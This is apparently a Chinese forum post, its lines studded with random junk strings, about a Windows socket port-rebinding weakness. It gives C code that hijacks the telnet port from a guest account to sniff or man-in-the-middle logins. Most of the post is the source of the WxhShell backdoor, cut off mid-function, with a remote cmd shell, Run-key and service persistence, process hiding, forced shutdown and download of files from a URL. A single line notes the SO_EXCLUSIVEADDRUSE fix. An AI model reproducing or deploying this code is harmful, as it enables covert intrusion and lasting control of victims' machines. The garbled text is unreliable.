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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: t!ZFpMv]n s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); p7*7V.>X .lcgM saddr.sin_family = AF_INET; jd+HIR !wrAD"l*@ saddr.sin_addr.s_addr = htonl(INADDR_ANY); 9I|Q`j?p` {#{nU NW bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %
e70*; $i
`@0+: 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2[Qzx%Vp F<6{$YI 这意味着什么?意味着可以进行如下的攻击: yg4ILL G_5NS<JE"S 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 +A_jm!tJS( 1@<>GDB9 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ?N%5c%oF
mvtuV` 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }4>#s$.2
Z\$!: 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 4T<dI6I0 |@ZyD$? 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 jm|zn 0`WZ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Y7yzM1?t @qsOWx`l$ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 hP1;$ 'Cywn^Ym# #include qkyYt#4E #include abV,]x&.0 #include 7aNoqS+ #include %A(hmC DWORD WINAPI ClientThread(LPVOID lpParam);
]<O- int main() o\yqf:V8 { kZ
9n@($B WORD wVersionRequested; SR\$ fmo DWORD ret; Fg^zz*e WSADATA wsaData; [
**F BOOL val; %{P." ki SOCKADDR_IN saddr; -| t|w:& SOCKADDR_IN scaddr; v-Uz,3 int err; bNz2Uo!0K SOCKET s; _ID =]NJ_ SOCKET sc; /^Lo@672 int caddsize; ,PyPRPk HANDLE mt; rg+3pX\{ DWORD tid; M Xl! wVersionRequested = MAKEWORD( 2, 2 ); ]jJ4\O` err = WSAStartup( wVersionRequested, &wsaData ); IRDD
if ( err != 0 ) { :&D$Q
4 printf("error!WSAStartup failed!\n"); Z@:R'u2Lk return -1; }pPt- k } }Qvoms<k saddr.sin_family = AF_INET; wsCT9&p ok9G 9|HA //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %6<2~ *FoPs saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); QnDLSMx) saddr.sin_port = htons(23); kI$p~ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M7IQJFra {
DWJkN4}o printf("error!socket failed!\n"); /K#J63 , return -1; ]G2%VKkr } C}mWX7<Z. val = TRUE; e%DF9}M //SO_REUSEADDR选项就是可以实现端口重绑定的 ~;Xkt G: if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) |=}v^o ZC { <b;Oap3 printf("error!setsockopt failed!\n"); vro5G') return -1; D D
Crvl } !HHbd|B_ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 'Xzi$}E D //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ^-7{{/ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 H~"XlP / k8;k56 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Y3wL EG%,: { rO{"jJ
ret=GetLastError(); j~Xn\~*n printf("error!bind failed!\n"); 4&LoE~ return -1; x@>^ c:-f } =Hs~fHa) listen(s,2);
cYEe`?* while(1) ud.Bzg:/ { 3# T_( caddsize = sizeof(scaddr); RJI*ZNbA //接受连接请求 6hm6h7$F1 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); _A/ ]m4 if(sc!=INVALID_SOCKET) k-vxKrjZ/ { ;R?9|:7 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); |tS~\_O/ if(mt==NULL) cB[.ET$ { 4)nQBFX printf("Thread Creat Failed!\n"); dQL!
>6a break; OG}D;Ew } QWGFXy,=1 } !bCLi>8 CloseHandle(mt); &9'JHF!l } >(HUW^T/9z closesocket(s); 9w FQ<r WSACleanup(); KGX?\#- return 0; U!x\oLP } QcQ|,lA.HI DWORD WINAPI ClientThread(LPVOID lpParam) ;EfMTI}6K { ,/>~J]:\; SOCKET ss = (SOCKET)lpParam; H{T)?J~ SOCKET sc; dfq5P!' unsigned char buf[4096]; YR`Mi.,Sfm SOCKADDR_IN saddr; \
o&i63u long num; 1P\_3.V{ DWORD val; Z;mDMvIu ( DWORD ret; ZvO:!u0+" //如果是隐藏端口应用的话,可以在此处加一些判断 uQ.VW/> //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 %rRpUrnm saddr.sin_family = AF_INET; yMa5?]J saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); SVo`p;2r saddr.sin_port = htons(23); T't^pO-` if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) v+=_ { J=U7m@))Y# printf("error!socket failed!\n"); K` 2a{` return -1; ?Xo9,4V1 } X|wXTecg*| val = 100; 0\U28zbMJw if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2h6F j& { hTn
}AsfLY ret = GetLastError();
g `B?bBg return -1; #zt+U^#) } vP'R7r2Yx if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3-8Vw$u { {UYqRfgbZ ret = GetLastError(); uyG4zV\h* return -1; $P@P}%2 }
t5N4d if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) |R*fw(=W { _H8)O2mJ printf("error!socket connect failed!\n"); +o/;bm*U<K closesocket(sc); O'-lBf+< closesocket(ss); 1|cmmUM-'v return -1; u-k?ef } {+t'XkA while(1) uYMW5k_,> { {hRAR8 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Qg
_?..% //如果是嗅探内容的话,可以再此处进行内容分析和记录 a}c(#ZLs //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 .+B)@? num = recv(ss,buf,4096,0); &:jE+l if(num>0) nw5#/5xw send(sc,buf,num,0); oaBfq8,; else if(num==0) 8a)EL*LH` break; +-~;?wA num = recv(sc,buf,4096,0); 28BiuxVW if(num>0) >k\*NW send(ss,buf,num,0); ccm <rZ7 else if(num==0) Ruk6+U break; SqTm/ t }
3nK'yC closesocket(ss); );|~4# closesocket(sc); [bT@Y:X@` return 0 ; <qRw!
'S^ } `g :<$3} u%[*;@;9+ jv|IV ========================================================== kxUGd)S
BW\R 下边附上一个代码,,WXhSHELL LL6f40hC esu6iU@ ========================================================== kb7\qH!n KuI>:i; #include "stdafx.h" yMSRUQ
x dF.T6b #include <stdio.h> eNNgxQw>m #include <string.h> 0`ib_&yI #include <windows.h> X}usyO'pW #include <winsock2.h> 7_Q86o #include <winsvc.h> xZhD6'Zzz #include <urlmon.h> v}Aw!Dv/ G+g`=7 #pragma comment (lib, "Ws2_32.lib") Ixec]UOS #pragma comment (lib, "urlmon.lib") }5] s+m .D>lv_kp #define MAX_USER 100 // 最大客户端连接数 'FUPv61() #define BUF_SOCK 200 // sock buffer =k/n #define KEY_BUFF 255 // 输入 buffer MK[spV =0]Mc$Ih #define REBOOT 0 // 重启 y=j[v},4 #define SHUTDOWN 1 // 关机 bL[PNUG Iw<c 9w8 #define DEF_PORT 5000 // 监听端口 [a
|fm*B! v S+~4Q41 #define REG_LEN 16 // 注册表键长度 \qTNWA#' #define SVC_LEN 80 // NT服务名长度 P`%ppkzV6 =4%C?(\ // 从dll定义API yED^/=\)} typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); AeJM[fCMa typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f%}+.eD typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); jN<]yhqf typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q}1$OsM 6 aK--k // wxhshell配置信息 P<&/$x6 struct WSCFG { %8{_;-f int ws_port; // 监听端口 OLR1/t`V char ws_passstr[REG_LEN]; // 口令 !S-hv1bE int ws_autoins; // 安装标记, 1=yes 0=no }-Ma~/ char ws_regname[REG_LEN]; // 注册表键名 aw4+1.xy char ws_svcname[REG_LEN]; // 服务名 T8(wzs char ws_svcdisp[SVC_LEN]; // 服务显示名 D8 #q.OR] char ws_svcdesc[SVC_LEN]; // 服务描述信息 SBoF(0< char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?^!dLW int ws_downexe; // 下载执行标记, 1=yes 0=no 1!C,pXU#: char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" Kk(ucO char ws_filenam[SVC_LEN]; // 下载后保存的文件名 cU6#^PFu E0hp%: }; s*X\%!l9 &B85; // default Wxhshell configuration C/vLEpP{(/ struct WSCFG wscfg={DEF_PORT, <EUSl|6 "xuhuanlingzhe", g|HrhUT; 1, zn x_p/V "Wxhshell", WuQYEbap "Wxhshell", R
_Y&Y- "WxhShell Service", $"(YE #]| "Wrsky Windows CmdShell Service", iLgt_@g "Please Input Your Password: ", '9dtIW6E 1, E! <$J^ " http://www.wrsky.com/wxhshell.exe", 9C 05 "Wxhshell.exe" //,'oh~W }; ~.lH) Z4-dF;7 // 消息定义模块 DmrfD28j~F char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; kC5,yj char *msg_ws_prompt="\n\r? for help\n\r#>"; n6Zx0ad? char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; o5@ jMU; char *msg_ws_ext="\n\rExit."; rQm char *msg_ws_end="\n\rQuit."; 5gEfhZQ char *msg_ws_boot="\n\rReboot..."; D ` X6'PP char *msg_ws_poff="\n\rShutdown..."; eM"mP&TTL char *msg_ws_down="\n\rSave to "; PPO<{ gc~h!%'.I char *msg_ws_err="\n\rErr!"; nQHd\/B
char *msg_ws_ok="\n\rOK!"; XXcf!~uO n1>nnH]G char ExeFile[MAX_PATH]; |P7f^0idk int nUser = 0; q$rA-`jw HANDLE handles[MAX_USER]; rM=A" int OsIsNt; yjR
O9 0Ida]H SERVICE_STATUS serviceStatus; d@4!^vD; SERVICE_STATUS_HANDLE hServiceStatusHandle; #jx?uS * _lo; // 函数声明 *SMPHWH[c int Install(void); F\rSYjMyk int Uninstall(void); 7YjucPH# int DownloadFile(char *sURL, SOCKET wsh); vaOL6=[#:g int Boot(int flag); d)ZSzq void HideProc(void); z]|[VM?4L int GetOsVer(void); ZC*d^n]x. int Wxhshell(SOCKET wsl); N:[;E3?O void TalkWithClient(void *cs); -*fYR#VQQB int CmdShell(SOCKET sock); }n%Rl\p int StartFromService(void); l1Q+hz5"*U int StartWxhshell(LPSTR lpCmdLine); PB67?d~ 6CmFmc, VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,HkhK bQ VOID WINAPI NTServiceHandler( DWORD fdwControl ); cgXF|'yI&l dd7nO
:] // 数据结构和表定义 qg{<&V7fE SERVICE_TABLE_ENTRY DispatchTable[] = r{R7" { `$SEkYdt {wscfg.ws_svcname, NTServiceMain}, +()t8,S, {NULL, NULL} %]<RRH.w }; W>0"CUp =`1m- // 自我安装 U$A7EFK' int Install(void) 2b#(X'ob { wVp4c?s char svExeFile[MAX_PATH]; {x|kg; HKEY key; E./__Mz@ strcpy(svExeFile,ExeFile); Sc/`=h]T P*SCHe' // 如果是win9x系统,修改注册表设为自启动 (H8C\%g: if(!OsIsNt) { pYfV~Q^3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t[?a@S~6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =F'M~3M RegCloseKey(key); i$bzdc#s if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bR'mV-2' RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W{A
#]r l RegCloseKey(key); kG$E
tE# return 0; SH
vaV[C } B` *f( } 7 DY WdDX } 6QII&Fg else { ;+i'0$;*w PEW4J{(W // 如果是NT以上系统,安装为系统服务 }Kj Ju; SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); qX5yN| A4 if (schSCManager!=0) rBD(2M { Dn_"B0$lk SC_HANDLE schService = CreateService zJ;>.0 ( 4mN].X[, schSCManager, hIuMHq7h wscfg.ws_svcname, bo@,4xw wscfg.ws_svcdisp, E dn[cH7 SERVICE_ALL_ACCESS, i<T P: SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }bf=Ntk SERVICE_AUTO_START, oZvA~]x9\ SERVICE_ERROR_NORMAL, {~bIA!kAFI svExeFile, TN35CaSmq NULL, ryxYcEM0 NULL, bLgL0}=n NULL, j8GY`f# NULL, -<qxO NULL mC i[Ps ); I^~=,D if (schService!=0) B.$PhmCG { VF)uu[
f9 CloseServiceHandle(schService); &]P"48NT CloseServiceHandle(schSCManager); :{LAVMG&^ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); QsiJ%O Q strcat(svExeFile,wscfg.ws_svcname); 01udlW. if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~U6"? RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); VeZey)Q RegCloseKey(key); OAv>g pw return 0; `SV"ElRV } cjuZBFl } ^=EjadVQ CloseServiceHandle(schSCManager); 'p%=<0vrr } ZJ;LD* } *'D=1{WZ! z[fB!O return 1; s/
M7Zl } dY} pN" ,c>N}*6h=W // 自我卸载 aG%kmS&fv int Uninstall(void) C+w__gO&r { XCDSmZ HKEY key; 9UwLF`XM 8j%'9vPi if(!OsIsNt) { <FY&h# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x(8n
9Q> RegDeleteValue(key,wscfg.ws_regname); >1 @Ltvm RegCloseKey(key); `)32&\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BQ#3QL't RegDeleteValue(key,wscfg.ws_regname); y&"!m} RegCloseKey(key); n~tqO!q return 0; {<2>6 _z } hd
B
|#t } Ln.9|9 } XS?gn.o\ else { #'@ilk/. 0DNU,u SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L=O lyHO if (schSCManager!=0) xCWz\-; { hSB?@I4s<\ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Yi(1^'Bi if (schService!=0) brh=NAzt { u$%A#L[ if(DeleteService(schService)!=0) { fW?sYC' CloseServiceHandle(schService); i9rS6<V' CloseServiceHandle(schSCManager); A>= E { return 0; ju|]Qlek } 6;o3sf@Tf CloseServiceHandle(schService); %_MEfuL } vJ"i.:Gf4 CloseServiceHandle(schSCManager); o}8I_o&]U } S]^`woD } {uU 2)5i2- w{!(r return 1; lCJ6Ur; } h[kU<mU"T ~.^AL}zm_ // 从指定url下载文件 mdW~~-@H int DownloadFile(char *sURL, SOCKET wsh) F";.6%;AC { F; 8*H1 HRESULT hr; c 6"Ib) char seps[]= "/"; $7Z)Yp&T char *token; wpXgPVZT char *file; ,:)`+v< char myURL[MAX_PATH]; T%$jWndI char myFILE[MAX_PATH]; !^w
E/ dRW$T5dac strcpy(myURL,sURL); "Y;}GlE token=strtok(myURL,seps); m^V5*JIh while(token!=NULL) :ofBzTNwZ { LlHa5]E@6 file=token; B4h5[fPX token=strtok(NULL,seps); ?Q0I'RC } jq-l5})h h|D0z_f GetCurrentDirectory(MAX_PATH,myFILE); ;W]\rft[ strcat(myFILE, "\\"); +l E90y strcat(myFILE, file); *$,:m send(wsh,myFILE,strlen(myFILE),0); m&*JMA;^ send(wsh,"...",3,0); d%_OT0Ei hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I|9
SiZ0 if(hr==S_OK) ~g6 3qs return 0; g^7MMlY% else DF_X return 1; XJ1=m ,WDX( } :YP # 7f3O // 系统电源模块 AY,].Zg[ int Boot(int flag) .iG&Lw\, { kV;fD$iW; HANDLE hToken; 7fHc[, TOKEN_PRIVILEGES tkp; -0Cnp/Yj@ nXy>7H[0 if(OsIsNt) { Q >Qibr OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "4o=,$E= LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ea'&xs#GK tkp.PrivilegeCount = 1; H[
m<RaG8 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; M|,mr~rRG AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 58 bCUh#uw if(flag==REBOOT) { :9|\Z|S(I if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) v{aq`uH return 0; -VxDNT}Tr } nKoiG*PI else { as*4UT3 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) s{0aBeq return 0; 8NBT|N~N } X5LBEOG } n_?tN\M else { 3"N)xO- if(flag==REBOOT) { \xv;sl$f if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Fqy\CMC return 0; t.p~\6Yi } U;N:j8 else { 8[vc?+>& if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zc rY>t#l return 0; Zf$Np50@( } #>lG7Ns|4 } u .f= te 0k)rc$eDF+ return 1; %D$]VSP; } %yBB?cp+_ s\!>"J bAQ // win9x进程隐藏模块 BTgG4F/) void HideProc(void) tW
WWx~k { .p0Clr! *g?Po+ef% HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )e5 @ if ( hKernel != NULL ) J'$>Gk] { {9UEq0 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); YIw1 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kuyjnSo9i FreeLibrary(hKernel); hGpv2>M } ;r c`OZyE i&{DOI%w return; k0Ol*L!p } 2hzsKkrA
{ {~Rk2:gx // 获取操作系统版本 aDO! int GetOsVer(void) '%q$`KDb { (L^]Lk
x) OSVERSIONINFO winfo; S$QG.K:<! winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); i3rH'B-I. GetVersionEx(&winfo); eek7=Z if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |{CfWSB7~@ return 1; 8Z(Mvq]f& else :q#Xq;Wp return 0; :Nofp& } n{6G"t:^l !pD*p)`s // 客户端句柄模块 BD(Z5+EU1 int Wxhshell(SOCKET wsl) y;s`P. { ~\ J}Kqg SOCKET wsh; tH-C8Qxy struct sockaddr_in client; ,^uEYT}j DWORD myID; RzWXKBI\E] 0#nPbe,Lj while(nUser<MAX_USER) YW7b)uYf { oYukLr int nSize=sizeof(client); [VE8V- wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /`mks1:pK if(wsh==INVALID_SOCKET) return 1; <J^MCqp!v %i5M77#Z handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \otWd if(handles[nUser]==0) 8ji_#og closesocket(wsh); y3fGWa*7e else U&?v:&c#&n nUser++; Ytl4kaYS } EOCN&_Z; WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6oGYnu;UZ Uu `9"
return 0; Mnscb } gP;&e:/3 Q)IKOt;N] // 关闭 socket
5~>z h void CloseIt(SOCKET wsh) ZzSz%z_sE { 8uWa=C) closesocket(wsh); g*_cPU0~m nUser--; oz,e/v8~ ExitThread(0); #w' kV# } >k (C O6LS(5j2 // 客户端请求句柄 7eAX*Kgt<_ void TalkWithClient(void *cs) ev*k*0
{ Ru>MFG oM>Z;QVRC: SOCKET wsh=(SOCKET)cs; G|!on<l& char pwd[SVC_LEN]; ?.Ca|H< char cmd[KEY_BUFF]; V=o
t-1,j7 char chr[1]; h-`}L= int i,j; ]?!mS[X ]GW]dM while (nUser < MAX_USER) { #T'{ n1AI e]zBf;9J if(wscfg.ws_passstr) { L6|oyf if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x8V('` }j //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H"
3fT 0 //ZeroMemory(pwd,KEY_BUFF); \RC'XKQ*n i=0;
2*^j while(i<SVC_LEN) { nH[yJGZYSA h eV=)8 // 设置超时 -C(crn fd_set FdRead; K3#@SYj struct timeval TimeOut; huh6 t ! FD_ZERO(&FdRead); lww!-(<ww FD_SET(wsh,&FdRead); $#9;)8J TimeOut.tv_sec=8; :LW4E9O=H TimeOut.tv_usec=0; sN9&,&W1 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); c7x~{V8 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f'EuY17w !Fd~~v if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q_MG?re pwd =chr[0]; 2fnkw/ if(chr[0]==0xd || chr[0]==0xa) { )<h*eS{ pwd=0; R6;=n"Ueb break; >4TaP*_ } Whm,F^ i++; ) l:[^$=, } iJ1"at 3TeY%5iVt // 如果是非法用户,关闭 socket iTgt}]L if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4.[^\N } R{<kW9! $P^q!H4D send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7&jTtKLj send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P}n_IV*@ 5\:^y'g[ while(1) { -*X a3/kQ *x@Onj ZeroMemory(cmd,KEY_BUFF); Hq:X{)" qr"3y // 自动支持客户端 telnet标准 x[~b2o j=0; Lt?lv2k=L while(j<KEY_BUFF) { Y']\Jq{OS if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~=M7 3U# cmd[j]=chr[0]; +hg3I8q: if(chr[0]==0xa || chr[0]==0xd) { fg_4zUGM+g cmd[j]=0; \XCe22x] break; c|e~BQdRw } riY~%9iV' j++; "l3_=Gua } s~ a"4~f wh$sn:J // 下载文件 <\rT%f}3^ if(strstr(cmd,"http://")) { %g{X ? send(wsh,msg_ws_down,strlen(msg_ws_down),0); h7G"G" if(DownloadFile(cmd,wsh)) V_:1EBzz send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4;e5H_}Oo else +%yfcyZ. send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x kx^%3dV } 81? hY4 else { k]F[>26k {f3YsM;]C switch(cmd[0]) { 3%#3iZ=_ nv*FT // 帮助 ry`Ho8N case '?': { x9UX!Z5*> send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T*Y~\~Jhu break; :%tU'w } W <9T0sZ // 安装 MU@UfB|;u case 'i': { }aa'\8 if(Install()) k9sh @ENy send(wsh,msg_ws_err,strlen(msg_ws_err),0); H%qsjB^ else 0gW"i&7c send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0fb2;&pUa break; W#9BNKL } Q|S.R1L^ // 卸载 g0xuxK;9c case 'r': { @>r._~ if(Uninstall()) {j.bC@hWw send(wsh,msg_ws_err,strlen(msg_ws_err),0); cM(:xv else YqhAZp< send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $O&b`` break; lHN5Dr } %P;lv*v. // 显示 wxhshell 所在路径 dP9qSwTa case 'p': { ~^NtO char svExeFile[MAX_PATH]; I&D5;8 strcpy(svExeFile,"\n\r"); f%is~e~wc strcat(svExeFile,ExeFile); Sj%u)#Ub send(wsh,svExeFile,strlen(svExeFile),0); f(>p=%=O break; Nyku4r0 } so,t // 重启 Q- cFtu-w case 'b': { m|SUV send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Rvqq.I8aC if(Boot(REBOOT)) RD!&LFz/} send(wsh,msg_ws_err,strlen(msg_ws_err),0); !a{^=#qq&I else { LC,F
<>w1 closesocket(wsh); b o6d)Q ExitThread(0); zU5v /'h>d } qzYwt]GNS break;
R5N%e%[ } +F R0(T // 关机 H*d9l2,KZS case 'd': { ]AINKUI0 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); O*hDbM2QQw if(Boot(SHUTDOWN)) F%@A6'c send(wsh,msg_ws_err,strlen(msg_ws_err),0); E-T)*`e else { u4t7Ie*Q closesocket(wsh); kYzIp ExitThread(0); :i0uPh\0 } $njUXSQ; break; S3q&rqarC% } 4`4kfiS$ // 获取shell Tm~" IB* case 's': { \o z#l'z CmdShell(wsh); -R|,9o^ closesocket(wsh); 6hno)kd{= ExitThread(0); 8H%;WU9- break; iN bIp"W } }5ret // 退出 +5w))9@ case 'x': { 2~Kgv|09 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); R[zpD%CI CloseIt(wsh); $.Qkb@} break; ]&o$b ] } ;;!yC // 离开 NxkGOAOE case 'q': { J4k=A7^N send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2":pE U{E closesocket(wsh); Q1U\D WSACleanup(); h=W:^@G exit(1); aZH:#lUlj break; bZ dNibN } @3>u@ } f/ U` } W\>fh&!) P@,XEQRd` // 提示信息 q_MPju&* if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 57'*w]4f } BGvre'67 } FI)17i$
[@&m4 7 return; %vn|k[nD } 'f#{{KA PIJr{6B/PA // shell模块句柄 K%,2=. int CmdShell(SOCKET sock) h){0rX@:& { @D]5c ivm_ STARTUPINFO si; ^ sOQi6pL ZeroMemory(&si,sizeof(si)); =J18eH!] si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E~DQ-z si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; uu-PJTNZ PROCESS_INFORMATION ProcessInfo; -"R2 char cmdline[]="cmd"; ?j'7l=94A CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;!>rnxB?4 return 0; J!AgBF N4 } I&fozO
Z-$[\le // 自身启动模式 TYy?KG>:' int StartFromService(void) eVEV}`X { 4n#M typedef struct .8 2P(}h { XD!W: uvb DWORD ExitStatus; _:ReN_0 DWORD PebBaseAddress; -Fi`Z$ DWORD AffinityMask; Wvq27YK' DWORD BasePriority; ^-TE([ bW ULONG UniqueProcessId; Giid~e33 ULONG InheritedFromUniqueProcessId; S){)Z } PROCESS_BASIC_INFORMATION; rF3wx. !eGC6o}f PROCNTQSIP NtQueryInformationProcess; E:,/!9n sv2A-Dld static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; e|g5=2(Pr& static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _F4Ii-6 Wjo[ENHM HANDLE hProcess; vt/x
